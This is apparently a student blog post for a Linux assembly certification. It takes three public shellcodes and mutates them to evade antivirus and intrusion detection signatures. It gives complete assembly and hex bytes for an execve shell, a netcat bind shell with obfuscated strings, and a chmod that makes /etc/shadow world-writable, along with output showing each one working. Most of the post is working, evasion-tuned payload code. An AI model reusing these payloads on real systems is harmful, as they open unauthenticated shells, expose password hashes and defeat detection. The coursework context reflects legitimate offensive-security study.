Assignment_6 – Polymorphic shellcodes

This  post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: SLAE-581
###

If the security software like AV and IDS finds patterns that correspond to known shellcodes, it takes appropriate steps to neutralize it. Code mutation makes it difficult for such software to recognize shellcode. 

We will take 3 samples of code from shell-storm.org and try to make it less recognizable



Task 1

In this task I have tried to obfuscate JMP-CALL-POP execve shell. 
Original code is http://shell-storm.org/shellcode/files/shellcode-863.php



Original (52 bytes):
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
global _start

section .text
_start:
    jmp short here

me:
    pop esi
    mov edi,esi
    
    xor eax,eax
    push eax
    mov edx,esp
    
    push eax
    add esp,3
    lea esi,[esi +4]
    xor eax,[esi]
    push eax
    xor eax,eax
    xor eax,[edi]
    push eax
    mov ebx,esp 

    xor eax,eax
    push eax
    lea edi,[ebx]
    push edi
    mov ecx,esp

    mov al,0xb
    int 0x80

here:
    call me
    path db "//bin/sh"
\xeb\x25\x5e\x89\xf7\x31\xc0\x50\x89\xe2\x50\x83\xc4\x03\x8d\x76\x04\x33\x06\x50\x31\xc0\x33\x07\x50\x89\xe3\x31\xc0\x50\x8d\x3b\x57\x89\xe1\xb0\x0b\xcd\x80\xe8\xd6\xff\xff\xff\x2f\x2f\x62\x69\x6e\x2f\x73\x68


First of all I have tried to make the code smaller and here is what turned out:

Mutated (33 bytes):
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
global _start
section .text
_start:

        jmp short north         ;jump to north

south:
        xor eax, eax    ;We zeroed eax as we need NULL for terminated argv[] later
        pop esi         ;esi now contains an address of /bin/ksh string
        mov dword [esi + 8], eax        ;add NULL at the end of /bin/ksh
        mov ebx,esi     ;mov address of /bin/ksh into ebx

        push eax        ;NULL
        mov edx, esp    ;EDX points to NULL (envp[])
        push ebx        ;make pointer to /bin/ksh and push it into stack
        mov ecx, esp    ;copy pointer to argv[] from stack into ecx
        mov    al,0xb   ;execve() code (11)
        int    0x80     ;run syscall

north:
        call south              ;Call initiates storing the next command address into stack, so that we store address of /bin/ksh
string
        string db "/bin/ksh"
I use /bin/ksh instead of /bin/sh (/bin/sh is more common while ksh is less).

After a compilation and linking (I have used the following bash script to automate the process:

1
2
3
4
5
6
7
8
9
#!/bin/bash

echo '[+] Assembling with Nasm ... '
nasm -f elf32 -o $1.o $1.nasm

echo '[+] Linking ...'
ld -z execstack -o $1 $1.o

echo '[+] Done!'

shellcode was extracted from elf:

objdump -d ./jmp_call_pop_execve|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'

\xeb\x12\x31\xc0\x5e\x89\x46\x08\x89\xf3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80\xe8\xe9\xff\xff\xff\x2f\x62\x69\x6e\x2f\x6b\x73\x68

and placed in C skeleton:
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
#include<stdio.h>
#include<string.h>

unsigned char shellcode[] =
"\xeb\x12\x31\xc0\x5e\x89\x46\x08\x89\xf3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80\xe8\xe9\xff\xff\xff\x2f\x62\x69\x6e\x2f\x6b\x73\x68";
main()
{
        printf("Shellcode Length: %d\n",strlen(shellcode));
        int (*ret)() = (int(*)())shellcode;
        ret();
}
then skeleton was compiled:

gcc jmp_call_pop_execve_checker.c -o jmp_call_pop_execve_checker -fno-stack-protector -z execstack


and run:

 ./jmp_call_pop_execve_checker
Shellcode Length: 33


Works fine! 
Moreover, the size is less than origin)



Task 2


In this task I have tried to obfuscate linux x86 nc -lvve/bin/sh -p13377 shellcode.
Original code is http://shell-storm.org/shellcode/files/shellcode-804.php (64 bytes):


Original (64 bytes):
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
section .text
    global _start
_start:
xor eax,eax
xor edx,edx
push 0x37373333
push 0x3170762d
mov edx, esp
push eax
push 0x68732f6e
push 0x69622f65
push 0x76766c2d
mov ecx,esp
push eax
push 0x636e2f2f
push 0x2f2f2f2f
push 0x6e69622f
mov ebx, esp
push eax
push edx
push ecx
push ebx
xor edx,edx
mov  ecx,esp
mov al,11
int 0x80


Here is what I have done with that code (round 1 - make the code smaller):

 1
 2
 3
4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
section .text
    global _start
_start:          ;COMMENTS                          ;CODE
xor eax,eax      ;zeroed eax                        xor eax, eax
xor edx,edx      ;zeroed edx                        xor edx, edx
push 0x37373333  ;this is nothing but -vp13377
;we change it to -vp17771:                          push 0x31373737
push 0x3170762d                                     push 0x3170762d
mov edx, esp     ;mov pointer to -vp13377 to edx
;we change it to:                                   mov esi, esp

push eax         ;push 0 into stack                 push eax
push 0x68732f6e  ;this is nothing but -lvve/bin/sh
;we change it to -le//bin//sh:                      push 0x68732f2f
push 0x69622f65                                     push 0x6e69622f
push 0x76766c2d                                     push 0x2f656c2d
mov ecx,esp      ;mov pointer to -lvve/bin/sh into ecx
;we change it to                                    mov edi, esp

push eax         ;push 0 into stack                 push eax
push 0x636e2f2f  ;this is nothing but /bin//////nc 
;we change it to /bin//nc, so our shell will become smaller)

push 0x2f2f2f2f                                     push 0x636e2f2f
push 0x6e69622f                                     push 0x6e69622f
mov ebx, esp  ;mov pointer to /bin//////nc into ebx mov ebx, esp

push eax  ;mov 0 into stack   ;we change it to:     push edx
push edx  ;mov pointer to -vp13377 into stack 
;we change it to                                    push esi
push ecx  ;mov pointer to -lvve/bin/sh into stack
;we change it to                                    push edi
push ebx  ;mov pointer to /bin//////nc into stack ; push ebx
xor edx,edx  ;zeroed edx 
;we exclude this line, as edx was zeroed at start, so our shellcode will 
become smaller)
mov  ecx,esp
;mov pointer to /bin//////nc -lvve/bin/sh -vp13377 
;to ecx                                             mov ecx, esp
mov al,11  ;run execve()                            mov al,11
int 0x80  ;run syscall                              int 0x80 



Final mutated (round 2 - obfuscation) (81 bytes):
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
global _start
section .text
 _start:
 xor eax, eax
 xor edx, edx
 push eax
 push 0x31373737  ;-vp17771
 push 0x3170762d
 mov esi, esp

push eax

mov edi, 0x57621e1e ;//sh abfuscation
add edi, 0x11111111
mov dword [esp-4], edi

mov edi, 0x5d58511e ;/bin obfuscation;
add edi, 0x11111111
mov dword [esp-8], edi
sub esp, 8

push 0x2f656c2d  ;-le/

mov edi, esp

 push eax
 push 0x636e2f2f  ;/bin//nc
 push 0x6e69622f
 mov ebx, esp

 push edx
 push esi
 push edi
 push ebx
 mov ecx, esp
 mov al,11
 int 0x80

After a compilation and linking shellcode was extracted from elf:

objdump -d ./netcat_bind|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'

\x31\xc0\x31\xd2\x50\x68\x37\x37\x37\x31\x68\x2d\x76\x70\x31\x89\xe6\x50\xbf\x1e\x1e\x62\x57\x81\xc7\x11\x11\x11\x11\x89\x7c\x24\xfc\xbf\x1e\x51\x58\x5d\x81\xc7\x11\x11\x11\x11\x89\x7c\x24\xf8\x83\xec\x08\x68\x2d\x6c\x65\x2f\x89\xe7\x50\x68\x2f\x2f\x6e\x63\x68\x2f\x62\x69\x6e\x89\xe3\x52\x56\x57\x53\x89\xe1\xb0\x0b\xcd\x80

then skeleton was compiled:

gcc netcat_bind_checker.c -o netcat_bind_checker -fno-stack-protector -z execstack


and run:

 ./netcat_bind_checker
Shellcode Length: 81
listening on [any] 17771 ...

Here is what happened after test connection takes place:

192.168.91.130: inverse host lookup failed: Unknown host
connect to [192.168.91.130] from (UNKNOWN) [192.168.91.130] 60071
pwd
/usr/local/src/SLAE/6_assigment/test

Works pretty good)


Task3
In this task I have tried to obfuscate  linux/x86 chmod 666 /etc/shadow shellcode.
Original is http://shell-storm.org/shellcode/files/shellcode-566.php (27 bytes):
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
; linux/x86 chmod 666 /etc/shadow 27 bytes
; root@thegibson
; 2010-01-15
 
section .text
        global _start
 
_start:
        ; chmod("//etc/shadow", 0666);
        mov al, 15
        cdq
        push edx
        push dword 0x776f6461
        push dword 0x68732f63
        push dword 0x74652f2f
        mov ebx, esp
        mov cx, 0666o
        int 0x80

\xb0\x0f\x99\x52\x68\x61\x64\x6f\x77\x68\x63\x2f\x73\x68\x68\x2f\x2f\x65\x74\x89\xe3\x66\xb9\xb6\x01\xcd\x80 (It crashes with Segmentation fault).

My is (40) bytes:
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
global _start
section .text

_start:
        xor eax, eax
        push eax                ;NULL

        push 0x776f6461         ;adow
        push word 0x6873        ;let's split c/sh
        push word 0x2f63
        push word 0x7465        ;let's split //et
        push word 0x2f2f

        mov ebx, esp            ;mov pointer to //etc/shadow string into ebx
        mov cx, 0x1fe           ;0776 mode
        mov al, 15              ;execve() code
        int 0x80                ;run syscall

        ;we have added exit() code to exit normally without Seg. Fault.
        xor eax, eax
        mov al, 1
        int 0x80


What was done?

1) //etc/shadow was splitted
2) Mode was changed from 666 to 776
3) cdq was removed
4) NULL terminator was changed from push edx to push eax
5) exit() function was added

After a compilation and linking shellcode was extracted from elf:

objdump -d ./chmod_command|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'

"\x31\xc0\x50\x68\x61\x64\x6f\x77\x66\x68\x73\x68\x66\x68\x63\x2f\x66\x68\x65\x74\x66\x68\x2f\x2f\x89\xe3\x66\xb9\xfe\x01\xb0\x0f\xcd\x80\x31\xc0\xb0\x01\xcd\x80"


then skeleton was compiled: root@debian:/usr/local/src/SLAE/6_assigment# gcc -fno-stack-protector -z execstack chmod_command_checker.c -o chmod_command_checker and run: root@debian:/usr/local/src/SLAE/6_assigment# ./chmod_command_checker Shellcode Length: 40 Does it really work? yes)! Before running shellcode: -rwxr-x--- 1 root shadow 937 May 10 07:13 /etc/shadow And after running: -rwxrwxrw- 1 root shadow 937 May 10 07:13 /etc/shadow

No comments:

Post a Comment